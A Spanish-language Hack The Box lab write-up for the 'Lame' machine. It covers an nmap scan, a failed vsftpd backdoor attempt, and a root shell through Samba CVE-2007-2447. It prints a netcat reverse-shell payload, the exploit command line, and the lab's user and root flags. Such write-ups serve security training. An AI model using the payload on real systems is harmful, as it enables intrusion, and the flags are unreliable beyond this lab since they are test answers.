Lame - Easy (HTB)
Writeup completo de la máquina Lame (Easy) de Hack The Box. Explotación de Samba con CVE-2007-2447 para obtener acceso root en una máquina Linux vulnerable.
Lame - Easy
Fecha: 03-04-2025
IP: 10.10.10.3
Estado: Resuelta
Reconocimiento
Iniciamos con un escaneo agresivo y completo de puertos, versiones y detección de servicios:
1
nmap -sC -sV --min-rate 5000 -p- -A 10.10.10.3 -oA Escaneo_Lame
El parámetro --top-ports 1000 también podría usarse para limitar a los mil puertos más comunes, pero aquí hicimos escaneo completo (-p-).
Resultado:
1
2
3
4
5
6
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
3632/tcp open distccd distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
Ya desde el escaneo vemos algo interesante: el servicio FTP permite login anónimo, y hay dos versiones potencialmente vulnerables: vsftpd 2.3.4 y Samba 3.0.20.
Servicios encontrados
vsftpd 2.3.4
Este FTP es conocido por tener una backdoor que se activa si se conecta con un nombre de usuario que incluya :), pero al intentar explotarlo con Metasploit, no conseguimos acceso. El exploit requiere autenticación o conexión directa a un backdoor que, en esta máquina, parece estar desactivado o parchado.
Intentamos con:
1
2
3
4
msfconsole
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS 10.10.10.3
run
Pero no obtuvimos shell.
Samba 3.0.20
Samba en esta versión es vulnerable a una ejecución remota de comandos sin autenticación. La vulnerabilidad es la CVE-2007-2447, y ya existen múltiples exploits públicos funcionales.
Esta vulnerabilidad permite inyectar comandos mediante una configuración maliciosa del nombre de usuario (por ejemplo, un nombre con comillas o ;).
Usamos el siguiente repositorio de GitHub:
https://github.com/xbufu/CVE-2007-2447
El payload que ejecuta por defecto es una reverse shell:
1
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.0.0.1 4242 >/tmp/f
Este comando crea un named pipe, ejecuta un shell interactivo y lo conecta a una dirección y puerto específicos con netcat.
Ejecución del exploit
Para correr el script, primero configuramos un entorno virtual, ya que requería paquetes específicos de Python3:
1
2
3
python3 -m venv env
source env/bin/activate
pip install -r requirements.txt
Luego ejecutamos el exploit:
1
python3 script.py --rhost 10.10.10.3 --lhost 10.10.14.12 --lport 4242
Y en otra terminal dejamos netcat escuchando:
1
nc -lvnp 4242
Al correr el script, conseguimos una shell remota directamente como root, lo cual no es común en máquinas modernas pero sí en vulnerabilidades antiguas como esta.
Escalando y buscando flags
Aunque ya éramos root, siempre es buena práctica verificar desde qué contexto entramos. Confirmamos que era una shell restringida (sh-3.2) pero con permisos de root.
Buscamos la flag del usuario:
1
find / -type f -name user.txt 2>/dev/null
Resultado:
1
/home/makis/user.txt
Leemos la flag:
1
2
cat /home/makis/user.txt
4bf6b7c786fada55a27c97f2c28f4d0c
Luego buscamos la de root:
1
find / -type f -name root.txt 2>/dev/null
Y:
1
/root/root.txt
Leída con:
1
2
cat /root/root.txt
3a96686a0c6236e0b7cab109eba1df3c
Resumen
- Escaneo inicial reveló múltiples servicios vulnerables.
- El exploit para vsftpd 2.3.4 no funcionó, posiblemente parchado.
- Se identificó Samba 3.0.20 vulnerable a CVE-2007-2447, con exploits públicos disponibles.
- Ejecutamos el exploit y obtuvimos shell como root sin necesidad de escalar privilegios.
- Leímos ambas flags:
user.txtyroot.txt.
Una máquina sencilla, ideal para principiantes. Demuestra la importancia de mantener servicios actualizados, ya que este tipo de vulnerabilidades son muy conocidas y peligrosas.
¿Quieres más writeups así? Sígueme en LinkedIn o checa mi blog para estar al día y mejorar tus skills.
```



